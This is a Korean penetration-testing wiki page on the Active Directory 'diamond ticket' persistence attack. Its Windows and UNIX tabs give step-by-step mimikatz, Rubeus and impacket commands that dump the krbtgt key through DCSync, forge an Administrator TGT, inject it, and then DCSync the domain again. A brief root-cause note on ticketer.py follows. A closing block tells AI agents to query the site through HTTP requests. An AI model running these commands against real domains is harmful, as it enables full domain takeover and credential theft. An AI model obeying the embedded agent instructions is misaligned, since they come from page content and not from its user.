# Diamond Tickets

공격자의 로컬에서 TGT를 자체 제작하여 사용하는 골든 티켓과 달리, 다이아몬드 티켓은 KDC에 직접적으로 TGT를 요청합니다. 이것이 골든 티켓과 다이아몬드 티켓의 유일한 차이입니다.

## Abuse

{% tabs %}
{% tab title="Windows" %}

<pre class="language-powershell"><code class="lang-powershell"><strong># krbtgt의 커버로스 키(AES256) 덤프
</strong>mimikatz # lsadump::dcsync /user:contoso\krbtgt /domain:contoso.com

<strong># 도메인 SID 덤프
</strong>Import-Module ActiveDirectory
(Get-ADDomain).DomainSID.Value

<strong># 다이아몬드 티켓 생성 및 환경 변수 등록
</strong>.\Rubeus.exe diamond /domain:contoso.com /user:Mick3y /password:Password123! /dc:ad01.contoso.com /enctype:AES256 /krbkey:d376cee2f5651cf7c767924f1b4ff8732dfaf974fbde27e0f9af461d5ee951eb /ticketuser:Administrator /ticketuserid:500 /groups:512 /nowrap /ptt
</code></pre>

{% endtab %}

{% tab title="UNIX" %}

<pre class="language-bash"><code class="lang-bash"><strong># krbtgt ntlm + aes256 해시 덤프
</strong>impacket-secretsdump contoso.com/Administrator:'Password123!'@192.168.1.11 -just-dc-user contoso/krbtgt

<strong># 도메인 SID 덤프
</strong>nxc ldap 192.168.1.11 -u Mick3y -p 'Password123!' --get-sid

<strong># 다이아몬드 티켓 생성 및 환경 변수 등록
</strong>impacket-ticketer -request -domain contoso.com -user Mick3y -password 'Password123!' -nthash 58e650ae1e1a52cecb2310d029d5e20b -aesKey d376cee2f5651cf7c767924f1b4ff8732dfaf974fbde27e0f9af461d5ee951eb -domain-sid S-1-5-21-2835490888-2107562977-246861531 Administrator
export KRB5CCNAME=Administrator.ccache

<strong># dcsync
</strong>impacket-secretsdump -k ad01.contoso.com -dc-ip 192.168.1.11
</code></pre>

{% endtab %}
{% endtabs %}

## Root Cause

다이아몬드 티켓은 골든 티켓과 다르게 실제 KDC로부터 유효한 정상 TGT를 발급받은 후 조작하는 공격입니다. AS-REP으로 획득하는 TGT는 전혀 조작되지 않은 상태이기 때문에 와이어샤크로 분석한다고 하더라도 요청자에 대한 티켓밖에 나오지 않습니다.

<figure><img src="/files/HkWPriklsl4orAVdYH56" alt=""><figcaption><p><a href="https://raw.githubusercontent.com/fortra/impacket/refs/heads/master/examples/ticketer.py">ticketer.py</a></p></figcaption></figure>

ticketer.py 코드를 확인하면 createBasicTicket 함수 내부에서 target으로 삽입한 인자를 cname 변수에 할당하는 것이 확인됩니다. 그러면 아래와 같이 AS-REP를 통해 반환된 TGT의 PAC 내부 cname이 Mick3y에서 Administrator로 변경됩니다.

<figure><img src="/files/EZJy5IGymhVR8vl3jbYl" alt=""><figcaption><p>원본 PAC 정보</p></figcaption></figure>

## References

{% embed url="<https://www.semperis.com/blog/a-diamond-ticket-in-the-ruff/>" %}

{% embed url="<https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets/diamond>" %}

{% embed url="<https://www.hackingarticles.in/diamond-ticket-attack-abusing-kerberos-trust/>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.pentestwiki.com/persistence/active-directory/diamond-tickets.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
